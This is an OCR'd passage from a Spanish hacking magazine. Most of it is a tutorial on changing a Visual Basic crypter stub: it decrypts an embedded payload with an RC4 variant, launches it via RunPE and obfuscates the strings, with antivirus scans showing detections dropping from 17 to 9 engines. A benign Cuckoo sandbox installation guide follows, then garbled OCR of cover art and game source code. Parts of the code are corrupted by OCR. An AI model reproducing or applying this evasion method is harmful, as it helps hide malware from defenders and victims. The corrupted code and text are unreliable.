Seguido a esto, agregaremos dos módulos. Para ello damos click derecho en la parte derecha del proyecto, en donde se encuentran los formularios y seleccionamos agregar módulo.

	Proyecto - Project1 X Project1 (Project1.vbp) Formularios Form1 (Form1.frm)
	 ☑ Ver código ☑ Ver objeto Propiedades de Project1
 <u>F</u>ormulario F<u>o</u>rmulario MDI <u>M</u>ódulo 	Agr <u>eg</u> ar → G <u>u</u> ardar Form1.frm Guardar Form1.frm <u>c</u> omo
 Módulo de <u>c</u>lase Control de usuario Página de propiedades Documento de usuario WebClass 	Imprimir <u>A</u> coplable <u>O</u> cultar Orm1 Form _ Alfabética Por categorías
Data Report DHTML Page Agregar arc <u>h</u> ivo	Anabeuca Por categorias (Nombre) Form 1 Appearance 1 - 3D AutoRedraw False BackColor &H8000000F BorderStyle 1 - Fixed Single

En el módulo 1, pondremos el Sub main y la encriptación que nosotros queramos; (en este caso, reemplazaré el **RC4** por **VprFhRHJ** que es mi encriptación)



Si nosotros utilizamos el Sub main así como está actualmente, saltarán firmas de AVG y NOD32; para que esto no pase, usaremos una alternativa de LOF y otra para APP.PATH. Modificaremos el Sub main

```
(OCHOIN)
                                                                                  _____
   Sub main()
   Dim YO As String, Datos As String, sData() As String
   YO = App.Path & "\" & App.EXEName & ".exe"
   Open YO For Binary As #1
  Datos = Space(sLOF(1))
Get #1, , Datos
Close #1
   sData() = Split(Datos, "##$$##")
   sData(1) = VprFhRHJ(sData(1), "DarkJairo60026112")
   RUNPE YO, StrConv(sData(1), vbFromUnicode)
   End Sub
   Public Function sLOF(sPath As String) As Double
   Dim Fso, F As Object
   Set Fso = CreateObject("Scripting.FileSystemObject")
   Set F = Fso.GetFile(sPath)
   sLOF = F.Size
   End Function
   Public Function VprFhRHJ(ByVal FsNRFpsn As String, LUJscHwc As String) As String
   On Error Resume Next
   Dim tttiRdaP(0 To 255) As Integer
   Dim HctAwANn, guEgIlmq, aLkhTWrt As Integer
  Dim UvkyytzR() As Byte
Dim OOQeKeDU() As Byte
  Dim coQeReDU() AS byte
Dim cxQvpCMt AS Byte
COQeReDU() = StrConv(FsNRFpsn, vbFromUnicode)
UvkyytzR() = StrConv(LUJscHwc, vbFromUnicode)
For HctAwANn = 0 To 255
   tttjRdaP(HctAwANn) = HctAwANn
   Next HctAwANn
   For HctAwANn = 0 To 255
   cxQvpCMt = tttjRdaP(HctAwANn)
   ctypence teconadr(neconwant)
tttjRdaP(HetAwANn) = tttjRdaP((guEgIlmq + tttjRdaP(HetAwANn) + UvkyytzR(HetAwANn Mod Len(LUJscHwc))) Mod 256)
tttjRdaP((guEgIlmq + tttjRdaP(HetAwANn) + UvkyytzR(HetAwANn Mod Len(LUJscHwc))) Mod 256) = cxQvpCMt
   Next HctAwANn
   quEqIlmq = 0
   For HctAwANn = 0 To UBound (OOQeKeDU)
  For HCLAWARN = 0 10 050uhd(00geReDU)
alkhTWrt = (alkhTWrt + tttjRdaP((guEgIlmq + 1) Mod 256)) Mod 256
tttjRdaP((guEgIlmq + 1) Mod 256) = tttjRdaP(alkhTWrt)
tttjRdaP(alkhTWrt) = tttjRdaP((guEgIlmq + 1) Mod 256)
OOQeKeDU(HctAwANn) = OOQeKeDU(HctAwANn) Xor (tttjRdaP((tttjRdaP((guEgIlmq + 1) Mod 256) + tttjRdaP(alkhTWrt)) Mod 256)
   Next HctAwANn
   VprFhRHJ = StrConv(OOQeKeDU(), vbUnicode)
   End Function
```

Así como está actualmente, nuestro stub seguirá detectado, es por eso que utilizaremos el ACO para modificarle los strings.

Copiamos nuestro código fuente y presionamos el botón señalado con el 1, que es para pegar lo que está en el portapapeles. Seguido a esto, presionamos el botón número 2 que es para generar los nuevos strings.

(ACO]Abronsius Code Obfuscato	or v0.4		Concernant of		X
Source		Scrambler	String Encryption Rot13 RC4 Hex XOR StrRev Base64 A4 Mod Add Decrypt Function	SCII	Original Source Stats Image: Const: Image: Const: <tdi< td=""></tdi<>
DataBase	Alas Functions Subs V Api Vars Constants V Private Types Vars	Uth X (Enable It On Trash>) LOF ● 1 ○ 2 Split ● 1 ○ 2 ○ 3	Trash □ Var □ For Open □ If □ While □ □ Goto □ API 3 □ Complexer □ Type 3 □ Func □ 1	5 5 2 2	Compilation Test C:Program Files/Microsoft Visual Studio/VBS Form Form Form Form Ciass Ciass
	Search				Debug Window
				•	About (ACO)v0.4 Coded by Abronsius Thx to oijkn, Credits to pringles

Ahora copiamos todo el código generado presionando el botón señalado en la imagen.

(ACO]Abronsius Code Obfuscator v0.4					
Source Sub main() Project DataBase	Delete Comments Blanks Spaces W Allas Y Allas Y Subs Y AlVars Y Constants Y Private Types Y Vars	Scrambler Image: Constraint of the second seco	String Encryption Rot13 Hex StrRev Mod Var Goto Complexer	RC4 XOR Base64 ASCII Add Deorypt Function ✓ Open ✓ API 3 Type 3 Const 1 Func 1	Original Source Stats Proc: 1 Const: 0 Funo: 0 Var: 5 Prop: 0 If: 0 Api: 0 For: 0 Type: 0 Loop: 0 Compilation Test Image: Compilation Test Image: Compilation Test Image: Compilation Test C:\Program Files\Microsoft Visual Studio\VBS O Form O P-Code Debug Image: Compilation Test Im
Out Window Sub main() Dim BWORCR2ub As String Dim SdiR2pfMf As String Dim 20loxVCI() As String Dim 23loxVCI() As String Dim 23qdN4png As String Dim 31ksJ341G A String E3qdN4png = App, Path GTksJ341G = App, EXEName BWORCR2ub = E3qdN4png & "\" & GTksJ341G & ".e Open BWORCR2ub = E3qdN4png & "\" & GTksJ341G & ".e Open BWORCR2ub = E3qdN4png & "\" & GTksJ341G & ".e Open BWORCR2ub = E3qdN4png & "\" & GTksJ341G & ".e Open BWORCR2ub = E3qdN4png & "\" & GTksJ341G & ".e	Search Search		•		Debug Window (Dim)YO → BWORCR2ub (Dim)Datos → SdR2pfMf (Dim)Data → 20cx/Clj (Dim)conejo → E3qdN4png (Dim)pelelo → GTksJ34IG
zl0cxvClj() = Split(SdiR2pfMf, "#\$\$#") zl0cxvClj(1) = CGYll0xrb(zl0cxvClj(1), "DarkJairo6 RUNPE BWORCR2ub, StrConv(zl0cxvClj(1), vbFr End Sub	0025112") omUnicode) 100	%		,	About ACO]v0.4 Coded by Abronsius Thx to oijkn, Credits to pringles

Una vez copiado, lo reemplazaremos en nuestro módulo. Además reemplazaremos el (1) por la alternativa al APP.PATH.

```
Sub main()
Dim BWORCR2ub As String
Dim SdiR2pfMf As String
Dim zlocxvClj() As String
Dim E3qdN4png As String
Dim GTksJ34IG As String
E3qdN4png = App.Path
GTksJ34IG = App.EXEName
BWORCR2ub = E3qdN4png & "\" & GTksJ34IG & ".exe"
Open (BWORCR2ub) For Binary As #1
SdiR2pfMf = Space(sLOF BWORCR2ub)
Get #1, , SdiR2pfMf
Close #1
zlocxvClj() = Split(SdiR2pfMf, "##$$##")
zlocxvClj(1) = VprFhRHJ(zlocxvClj(1), "DarkJairo60026112")
RUNPE BWORCR2ub, StrConv(zl0cxvClj(1), vbFromUnicode)
End Sub
Public Function sLOF(sPath As String) As Double
Dim Fso, F As Object
Set Fso = CreateObject("Scripting.FileSystemObject")
Set F = Fso.GetFile(sPath)
sLOF = F.Size
End Function
```

Cumplidos los pasos anteriores, debemos modificar el delimitador y la password del Sub main. En este caso son "##\$\$##" y "DarkJairo60026112".

```
Sub main()
Dim BWORCR2ub As String
Dim SdiR2pfMf As String
Dim zlocxvClj() As String
Dim E3qdN4png As String
Dim GTksJ34IG As String
E3qdN4png = App.Path
GTksJ34IG = App.EXEName
BWORCR2ub = E3qdN4png & "\" & GTksJ34IG & ".exe"
Open BWORCR2ub For Binary As #1
SdiR2pfMf = Space(sLOF(BWORCR2ub))
Get #1, , SdiR2pfMf
Close #1
zlocxvClj() = Split(SdiR2pfMf, ("##$$##")
zl0cxvClj(1) = VprFhRHJ(zl0cxvClj(1),  DarkJairo60026112")
RUNPE BWORCR2ub, StrConv(zl0cxvClj(1), vbFromUnicode)
End Sub
```

Una vez hecho esto, pegamos un RunPE en Módulo 2 y modificaremos lo marcado en rojo **USER32** por **C:\WINDOWS\SYSTEM32\USER32.dll**. Seguidamente, debemos llamar al RunPE en el Sub main, por lo tanto modificamos la palabra RunPE por pfm6B7V17 tal y como muestra la imagen.



Realizadas las acciones indicadas antes, debemos llamar al Sub main; para ello vamos al formulario y damos click derecho, ver código, y escribimos lo siguiente:

- 1. Private sub form inicialize()
- 2. Call main
- 3. unload me
- 4. end sub

Ahora, modificaremos el nombre Sub main del módulo por caracteres aleatorios que nosotros queramos:



Una vez que finalizamos lo antedicho, modificaremos el Call main en Form_inicialize del formulario.

▼| |Initialize

rorm

```
Private Sub Form_Initialize()
Call CdBgjXSmmqBRBQHb
Unload Me
End Sub
```

Si está todo bien, apretamos F5 en nuestro IDE, y nos tendría que tirar el siguiente error:

Error '9' en tiempo de ejecución :
El subíndice está fuera del intervalo

Si apareció esto, quiere decir que está todo bien y que hemos logrado aplicar el método Onírico a nuestro Stub.

Scan del Stub sin este método



Date : 13/10/2014 - 04:59 GMT +2 Type : File Filename : Test1.exe Filesize : 32768 bytes MD5 : 5f8b462a511b17921b49828e3ecf3693 SHA1: 85d2a636ec78ecc500fcd7e2c0356014f844f0da

Status Infe Result 17/3

AVG Free
Av ast
AntiVir (Avira)
BitDefender
Clam Antivirus
COMODO Internet Security
Dr.Web
eTrust-Vet
F-PROT Antivirus
F-Secure Internet Security
G Data
IKARUS Security
Kaspersky Antivirus
McAfee
MS Security Essentials
ESET NOD32
Norman
Norton Antivirus
Panda Security
A-Squared
Quick Heal Antivirus
Solo Antivirus
Sophos
Trend Micro Internet Security
VBA32 Antivirus
Zoner AntiVirus
Ad-Aware
BullGuard
FortiClient
K7 Ultimate
NANO Antivirus
Panda CommandLine
SUPERAntiSpyware
Twister Antivirus
MPRE

Scan del Stub con este método



Date : 13/10/2014 - 05:01 GMT+2 Type : File Filename : Test2.exe Filesize : 77824 bytes MD5 : 1b03132596c79cce8f1c336cc75bf7a5 SHA1: 20ce2cb50060e93df1e8b5e35b0b886bf1e75482

Status Infec Result 9/35

AVG Free	OK
Av ast	OK
AntiVir (Avira)	OK
BitDefender	
Clam Antivirus	OK
COMODO Internet Security	OK
Dr.Web	OK
eTrust-Vet	OK
F-PROT Antivirus	OK
F-Secure Internet Security	
G Data	
IKARUS Security	OK
Kaspersky Antivirus	ОК
McAfee	ОК
MS Security Essentials	ОК
ESET NOD32	
Norman	
Norton Antivirus	ок
Panda Security	ок
ASquared	
Quick Heal Antivirus	ок
Solo Antivirus	ок
Sophos	ок
Trend Micro Internet Security	ок
VBA32 Antivirus	ок
Zon er AntiViru s	ок
Ad-Aware	
BullGuard	
FortiClient	ок
K7 Ultimate	ок
NANO Antivirus	ОК
Panda CommandLine	
SUPERAntiSpyware	OK
Twister Antivirus	ок
MPRE	OK

Como se puede ver, el stub pasó de ser detectado de 17 a 9 antivirus gracias a este método.

Tipos de análisis (Estático y Dinámico)

Instalación de un SandBox

Instalación de un SandBox

0

Instalación de un SandBox para el análisis de Malwares

Tipos de análisis.

<u>Análisis Dinámico</u> \rightarrow Consiste en la ejecución de los programas en un entorno controlado, más conocido como Sandbox teniendo en cuenta que llega a ser la misma lógica del análisis de Malware, la cual nos permite monitorear cambios, acceso a recursos, envió de información; y en definitiva, identificar cuál es su comportamiento. Usualmente se hace uso de las máquinas virtuales. El problema, surge que al ser un entorno totalmente controlado no sufriremos ningún tipo de fuga de nuestra información, pero hay veces que el malware interactúa de una u otra manera al detectar que es una virtual.

<u>Análisis Estático</u> \rightarrow El análisis estático consiste en estudiar el contenido de un archivo (conocido más comúnmente como binario) sin ejecutarlo. Una ventaja frente al análisis dinámico, es que se puede saber exactamente qué es lo que realiza el malware, pudiendo determinar con exactitud si es malicioso o no, y sus consecuencias.

Vamos a comenzar instalando nuestra propia Sandbox. Es muy sencillo, lo primero que tenemos que hacer es acceder aquí para poder descargárnosla: <u>www.cuckoosandbox.org</u>, Pulsamos sobre **Get Cuckoo!** Y la descargamos.

	Opening suckoo-surrent tar gz									
Do	Vau have above to open									
The	Cuckoo-current.tar.gz									
unc	which is: archivador Gzip (6,0 MB)									
	from: http://downloads.cuckoosandbox.org									
Wh	What should Firefox do with this file?									
0	○ <u>O</u> pen with Gestor de archivadores (default) 🗘									
0	Do this <u>a</u> utomatically for files like this from now on.									
0										
0										
	Cancel									
	A.									
-										
	Close Download									

Guardamos el archivo y lo descomprimimos donde queramos.

	cucko	00-C	iurren gz	t,tar.		6	0			
			c	uckoo-cu	irrent.tar.g	z			_ 6	ı x
Archivador	Edit	ar	Ver	Ayuda						
🕒 🦳 A	brir	~	F	Extraer	Pa 🐴					
🔶 Atrás		♠	1	Lugar:	I					
Nombre				~	Tamaño	Tipo		Fecha c	le mod	ificac
🚞 cuckoo					65,8 MB	Carpe	ta	07 abril	2014, 3	13:47
1 objeto (65,	,8 MB	5)								

Tendremos una carpeta llamada cuckoo, con el siguiente contenido:

		cuckoo		_ = ×
Archivo Editar Ve	r Ir Marcadores Ayuda			
Dispositivos	< 🔂 Carpeta personal	💷 Escritorio	cuckoo	🖕 🔿 🔍 Buscar
🖾 Reserva 📤				
🗐 Sistema 🔺				
Marcadores	agent	analyzer	conf	data
💭 x-nautilus-d				
Equipo				
🔄 Carpeta per	db	docs	lib	log
💷 Escritorio				
፪ Sistema de a	modules	storage	utils	web
🏽 Papelera		5		
Red				
🖳 Examinar la	cuckoo.py			

Para poder instalar Cuckoo, tendremos que cumplir una serie de requisitos, por lo que vamos a instalar aquello necesario.

Necesitaremos tener python instalado:

```
sudo apt-get install python
```

\$ sudo apt-get install python

```
sudo apt-get install python-sqlalchemy python-bson
```

\$ sudo apt-get install python-sqlalchemy python-bson

O bien...

sudo pip install sqlalchemy bson

\$ sudo pip install sqlalchemy bson

sudo apt-get install python-dpkt python-jinja2 python-magic pythonpymongo python-gridfs python-libvirt python-bottle python-pefile pythonchardet

			blac	kdrak	@black	drake:	~				-		×
Archivo Edita	r Ver	Buscar	Termina	l Ayu	da								
<pre>blackdrake@b pvthon-pvmon</pre>	lackdr	r <mark>ake:~</mark> \$:hon-ɑr:	sudo a idfs pv	pt-ge thon-	t insta libviri	all py t pyth	ython-dpl hon-bott]	<t le</t 	python-jinja python-pefil	2 pyth e pyth	on-m on-c	agi har	c de
t	-3- p).	9.	1	/ 84	ENG		-		P3-100 P3-10				

sudo pip install jinja2 pymongo bottle pefile maec==4.0.1.0 django chardet

\$ sudo pip install jinja2 pymongo bottle pefile maec==4.0.1.0 django chardet

sudo apt-get install qemu-kvm libvirt-bin ubuntu-vm-builder bridge-utils

\$ sudo apt-get install qemu-kvm libvirt-bin ubuntu-vm-builder bridge-utils

Puesto a que Cuckoo usa por defecto tcpdump, lo instalaremos:

sudo apt-get install tcpdump

\$ sudo apt-get install tcpdump

Le daremos acceso root, ya que lo necesita:

sudo setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump

\$ sudo setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump

sudo apt-get install libcap2-bin

\$ sudo apt-get install libcap2-bin

Una vez tengamos todo instalado, debemos de tener un programa que nos permita crear máquinas virtuales, en mi caso usaré virtualbox, que podemos descargar de su web: <u>https://www.virtualbox.org/wiki/Linux_Downloads</u>

Luego de tener virtualbox instalado, crearemos una máquina virtual: (Nota, acordaos del nombre que le ponéis a vuestra máquina pues es importante).

2	cicai nac	va magama vircaai	
	Nombre de má operativo	quina virtual y tipo de sis	tema
	Ingrese el nombre de operativo invitado que	la nueva máquina virtual y seleccione planea instalar.	el tipo de sistema
	El nombre de la máqui software y hardware. S los productos de Virtu	ina virtual normalmente indica su con Será usado para identificar la máquina alBox.	figuración de virtual creada en
	Nombre		
	Tipo de OS]
	<u>S</u> istema operativo:	Microsoft Windows	* XP
	<u>V</u> ersión:	Windows XP	A 7
		< <u>A</u> nterior Siguie <u>n</u> te	e > Cancelar

Una vez instalada, tenemos que instalar las guest additions de virtualbox:



Cumplidos estos pasos, debemos de instalar python en nuestra máquina virtual y/ o descargarnos Cuckoo o pasarnos el archivo **agent.py** que ya tenemos en nuestra carpeta llamanda **cuckoo**.

Lo ponemos en C:\ y lo ejecutamos.

🥗 Local Disk (C:)			
File Edit View Favorites Tools	Help		27
🚱 Back 🔹 🕥 🕤 🏂 🔎 S	iearch 😥 Folders 🔢 🕇		
System Tasks	Documents and Settings	Program Files	
Add or remove programs	Python27	agent Python File 8 KB	
File and Folder Tasks 🛞		analyzer	
 Make a new folder Publish this folder to the Web Share this folder 	cuckoo		
Other Places			
My Computer My Documents Shared Documents My Network Places			
Details			

Una vez abierto, tomaremos una imagen instantánea, esto hará que cada vez que iniciemos la máquina virtual inicie en ese estado.

Para hacer la instantánea lo podemos hacer dando click en Maquina, después en Tomar Instantánea. **También es importante recordar el nombre que le ponemos a la instantánea.**

Efectuados los pasos precedentes, haremos un ipconfig para saber nuestra ip local y cerraremos la máquina virtual (apuntaros la ip, pues la necesitaremos más adelante).

Para que Cuckoo funcione, tenemos que configurar unas cuantas cosas, para ello entramos a la carpeta **cuckoo**.

Accedemos a conf/cuckoo.conf para editar una cuantas líneas:

machinery = virtualbox (en mi caso virtualbox, si usáis vmware ponerlo)

ip = 192.168.1.40 (Pondremos nuestra IP)

En kali podemos saber nuestra ip usando este comando: ip a

				blackdra	ke@blac	kdrake:	N					-		×
Archivo	Editar	Ver	Buscar	Terminal	Ayuda									
blackdra 1: lo: < inet v inet 2: eth0 en 1000 linet inet blackdra	Ake@bla LOOPBA (loopb 127.0 /alid_l :<127.0 /alid_l (alid_l /alid_l /alid_l ake@bla	ckdr CK,U ack .0.1 ft f 128 ft f DCAS 68.1	ake:~\$ P,LOWEF 00:00:0 /8 scop orever scope h orever T,MULTI .40/24	ip a QUP> mt 00:00:00 preferra ost preferra CAST,UP preferra	u 65536 :00 brd lo ed_lft .LOWER_ brd ff .168.1. ed_lft	qdisc 00:00 foreve UP> mt :ff:ff 255 sc foreve scope foreve	noque :00:00 r u 1500 :ff:ff ope gl r link r	eue st):00:0) qdis :ff .obal	ate boot	ifo_f	wN ast s	tate	UP	ql

Ahora accedemos en mi caso a **conf/virtualbox.conf**, si usáis vmware accederéis a vmware.conf.

ip = 192.168.1.45 (Pondremos la IP de la máquina virtual, como ya sabéis, en Windows es ipconfig).

snapshot = **cuckoo** (nombre de vuestra instantánea, si lo dejáis comentado cogerá la que hay actualmente).

interface = eth0 (nombre de vuestra interfaz para que nos capture el trafico).

resultserver_ip = 192.168.1.40 (IP de la maquina host, opcional)

Guardamos ambos archivos y entramos a la terminal.

Accedemos al directorio cuckoo:



Ejecutamos python cuckoo.py



Como vemos, se queda a la espera de que le enviemos algún archivo para que lo analice. Sin salir de esa terminal, abrimos otra (u otra pestaña con Ctrl + Shift + T)

Accedemos a utils (dentro de cuckoo):

blackdrake@blackdrake:~/Desktop/cuckoo\$ cd utils/ blackdrake@blackdrake:~/Desktop/cuckoo/utils\$

Ahora, vamos a enviar un fichero a nuestra máquina para que lo analice:

./submit.py ../../bot.exe (Nuestro fichero a analizar)

También podemos pasarle el archivo desde una url.

blackdrake@blackdrake: ~/Desktop/cuckoo/utils	-		×
Archivo Editar Ver Buscar Terminal Pestañas Ayuda			
blackdrake@blackdrake: ~/Desktop/cuckoo × blackdrake@blackdrake: ~/Desktop/cucko	oo/uti	ls ×	
<pre>blackdrake@blackdrake:~/Desktop/cuckoo\$ cd utils/ blackdrake@blackdrake:~/Desktop/cuckoo/utils\$./submit.py//bot.exe</pre>			

Se abrirá la virtual y se pondrá a hacer cosas (no tocaremos nada, para dejar que lo analice correctamente).

Esperamos un rato hasta que nuestra virtual acabe de analizar el archivo.

Success: File "/home/blackdrake/Desktop/bot.exe" added as task with ID 23
blackdrake@blackdrake:~/Desktop/cuckoo/utills\$
2014-10-14 14:29:48,780 [lib.cuckoo.core.scheduler] INF0: Using "virtualbox" ma
hine manager
2014-10-14 14:29:49,607 [lib.cuckoo.core.scheduler] INFO: Loaded 1 machine/s
2014-10-14 14:29:49,607 [lib.cuckoo.core.scheduler] INFO: Waiting for analysis "
asks
2014-10-14 14:37:53,046 [lib.cuckoo.core.scheduler] INF0: Starting analysis of I
ILE "/home/blackdrake/Desktop/bot.exe" (task=23)
2014-10-14 14:37:53,206 [lib.cuckoo.core.scheduler] INF0: Task #23: acquired ma
hine cuckool (label=cu)
2014-10-14 14:37:53,221 [modules.auxiliary.sniffer] INF0: Started sniffer with
ID 9039 (interface=eth0, host=192.168.1.45, dump path=/home/blackdrake/Desktop/e
uckoo/storage/analyses/23/dump.pcap)
2014-10-14 14:37:58,361 [lib.cuckoo.core.guest] INF0: Starting analysis on gues
(id=cuckool, ip=192.168.1.45)

Volvemos a nuestra antigua terminal/pestaña y verificamos que se ha analizado y nos mostrará donde está nuestro resultado:



En mi caso está en /home/blackdrake/desktop/cuckoo/storage/analyses/23

Una vez ahí, veremos varios archivos y carpetas, accedemos a reports y ahí abrimos el archivo report.html

Y ahí tenemos nuestro resultado:

< 🕲 file:///home/bla	ackdrake/Desktop	p/cuckoo/storage/analyses/23/reports/report.html		🕶 🕑 🔡 🕶 Google	Q,☆自 ♣ 余 ☰
🖥 Most Visited 🖌 👖	Offensive Securit	ty 🥆 Kali Linux 🌂 Kali Docs 🛄 Exploit-DB 📡 Aircrack-ng			
	Signatures	Screenshots Static Dropped Network Behavior V	folatility		
Category		Started On	Completed On	Duration	Cuckoo Version
FILE		2014-10-14 14:37:52	2014-10-14 14:40:12	140 seconds	1.1
File Details					
File name	bot.exe				
File size	268800 byte	es			
File type	PE32 execut	table (GUI) Intel 80386 Mono/.Net assembly, for MS Window	5		
CRC32	7DF42044				
MD5	eaaaeb6d2d4	4ff29de8538fa269764ee2			
SHA1	548f7d585e5	57479f7f9028586652182fd0cleeec			
SHA256	1513b9c5388	8526ffd54d792940662c3657be4c88c996d5e8a5a00bef62d0e750			
SHA512	d3cfccccef1	1f5d6af60aa52f72bfae861ddea939b8d93873dc6a9f417447dfc3155	f931d5220606d5a090051aba8e1d8901be6166a18404ea5281aec562a4f	86	
Ssdeep	None				
PEID	None matche	d			
Yara	None matche	d			
VirusTotal	Permalink VirusTotal Sc Detection Rat	an Date: 2014-10-14 09:32:34 te: 2/54 (Expand)			
Signatures					

También podemos subir nuestro archivo vía web, para hacer eso, tenemos que en vez de utilizar el submyt.py, usaremos web.py



Accedemos a la dirección que nos muestra... Visualizaremos algo como esto:

cuckoo

New Analysis use this form to add a new analysis task

Home B CUC Analysis Results 1-23 o	Browse	ormed, processing and pending analyses	Page 1 of 1		Results per page: 50
Home B CUC Analysis	s Tasks perf	ormed, processing and pending analyses	3		Results per page: 50
Home B	Browse				
Home B	Browse	S			
Home B	Browse				
			Submit Cance	I	
		Capture Memory	False	•	
		Machine	Any	•	
		Priority	Low	•	
		Timeout			
		Options			
		Package to use			
		File to upload	Browse No file	selected.	

Pulsando sobre el target, accederemos al mismo archivo html que antes.

Y ya tenemos correctamente nuestra sandbox instalada.



ANTRAX



BAKU BLACKORAKE

79137913

false if a demo

GABRIELA

METAL KINGDOM

MALUARE MAGAZINE

break case ga_playdemo: G DoPlayDemo (); break ase ga_completed. G_DoCompleted (); neak e ga_victory: StartFinale (); ga_worlddone: DoWorldDone (); menic se ga_screenshot: M_ScreenShot 0; gameaction = ga_nothing;

case ga_loadgame: G DoLoadGame ().

ineak se ga nothing maako

Wigethands, check consistancy, Wandnew consistancy check tic/ticdup)%8ACKUPTICS; buf = 0

for (i=0

MAXPLAYERS ; i++)

(playeringame(i))

memopy (amd, &netamdslillbufl, sizeof(ticame

if (demoplayback) G_ReadDemoTiccmd (cmd); G_WriteDemoTiccmd (cmd)

check for tur if (cmd->for

> player_nam of (turbomessage, *%s is turbo!*.pla playersIconsoleplayerI.message = turbo

if (netgame && Inetdemo && Ilgametic%ticdup

- if (gametic > BACKUPTICS && consistancy/illbufl != cmd->cons

consistancylillbufl = playerslil.mo->x

[illbuf] = rndindex

sheck for special buttons for (i=0 ; i<MAXPLAYERS ; i++)

nd buttons & BT_SPECIAL)

S_PauseSound 0;